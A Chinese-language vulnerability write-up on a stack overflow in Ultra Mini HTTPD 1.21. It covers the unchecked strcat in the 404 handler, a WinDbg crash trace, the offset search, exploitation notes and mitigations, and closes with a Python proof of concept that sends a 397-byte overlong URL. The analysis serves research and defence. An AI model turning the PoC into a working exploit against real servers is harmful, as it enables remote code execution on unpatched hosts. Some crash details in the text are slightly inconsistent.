MINI HTTPD 远程代码执行漏洞分析
字数 1383 2025-08-19 12:42:38
Mini HTTPD 1.21 远程代码执行漏洞分析与利用
漏洞概述
漏洞名称: Ultra Mini HTTPD 栈缓冲区溢出漏洞
影响版本: Ultra Mini HTTPD 1.21
漏洞类型: 基于堆栈的缓冲区溢出
威胁等级: 高危
影响范围: 使用该版本HTTP服务器的Windows系统
漏洞模块: exploit/windows/http/ultraminihttp_bof
漏洞原理
该漏洞存在于Ultra Mini HTTPD服务器的请求处理过程中,当服务器接收到HTTP请求时,会尝试将请求的URL拼接成文件路径进行读取。如果文件不存在,服务器会生成一个"404 Not Found"错误页面。在这个过程中,服务器没有对URL长度进行严格检查,导致在拼接错误信息时发生栈溢出,攻击者可以通过精心构造的超长URL覆盖返回地址,从而执行任意代码。
漏洞复现环境
- 操作系统: Windows XP Home with Service Pack 3 (x86)
- 调试工具:
- IDA Pro 8.3 (宿主机)
- WinDbg 6.11 (虚拟机)
- 目标软件: minihttpd.exe (从minihttpd120.lzh解压)
漏洞分析
漏洞触发流程
- 服务器接收HTTP GET请求
- 尝试将URL路径拼接为本地文件路径
- 文件不存在时进入错误处理流程
- 使用
sprintf格式化404错误信息 - 使用
strcat将错误信息拼接到缓冲区 - 由于缺乏长度检查,导致栈缓冲区溢出
关键代码分析
漏洞主要出现在错误处理流程中:
if (TargetHandle == (HANDLE)-1) { // 文件打开失败
sprintf(v114, a404NotFound); // 格式化404错误信息
strcat(v119, v114); // 拼接错误信息,此处发生缓冲区溢出
}
strcat函数没有对目标缓冲区大小进行检查,直接将源字符串拼接到目标缓冲区末尾,当源字符串过长时就会覆盖栈上的其他数据,包括返回地址。
崩溃分析
使用PoC触发漏洞时,Windbg显示:
(f48.b18): Access violation - code c0000005 (first chance)
eax=00000000 ebx=000000c8 ecx=ffffffff edx=00000007 esi=7d58dc91 edi=0000000e
eip=0040260d esp=00c7dc6c ebp=836f09be iopl=0
minihttpd+0x260d:
0040260d f2ae repne scasb
崩溃发生在minihttpd+0x260d,这是strcat函数内部的一个字符串操作指令。此时EIP已被覆盖为攻击者控制的值。
漏洞利用
偏移量确定
通过多次测试确定精确的溢出偏移量:
- 初始测试使用A-F各1000字节的缓冲区
- 发现程序在F(0x46)填充处崩溃
- 使用二分法逐步缩小范围
- 最终确定在397个"F"字符时触发崩溃
利用要点
-
线程处理: 应用程序的请求处理线程在60秒后会被监控线程终止,因此需要:
- 分配RWX内存
- 将payload复制到该内存
- 创建新线程执行payload
- 终止当前线程避免进程崩溃
-
Payload构造:
- 需要精确控制溢出长度
- 覆盖返回地址指向shellcode
- 考虑DEP/ASLR绕过(在Windows XP上通常不需要)
Metasploit模块
漏洞已被集成到Metasploit框架中:
exploit/windows/http/ultraminihttp_bof
防护措施
- 厂商修复: 升级到最新版本
- 缓解措施:
- 在网络边界过滤超长URL请求
- 启用DEP保护
- 使用Web应用防火墙(WAF)
- 开发建议:
- 使用安全的字符串函数(如
strncat替代strcat) - 对所有用户输入进行长度检查
- 启用编译器的栈保护选项
- 使用安全的字符串函数(如
参考资源
- 原始漏洞分析文章
- Metasploit模块文档
- Windows缓冲区溢出防护机制文档
附录:完整PoC代码
import sys
import socket
# 精确触发漏洞的PoC
def exploit():
# 构造精确的缓冲区
buffer = "A" * 397 # 精确偏移量
buffer += "\x90\x90\x90\x90" # 覆盖EIP的地址(示例中使用NOP)
HOST = '127.0.0.1'
PORT = 80
# 构造恶意请求
req = "GET /" + buffer + " HTTP/1.1\r\n\r\n"
# 发送请求
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req.encode())
# 接收响应
data = b""
while True:
chunk = s.recv(1024)
if not chunk:
break
data += chunk
s.close()
print('Received', repr(data))
if __name__ == "__main__":
exploit()
注意:实际利用时需要将覆盖EIP的地址替换为实际可用的跳转地址,并构造有效的shellcode。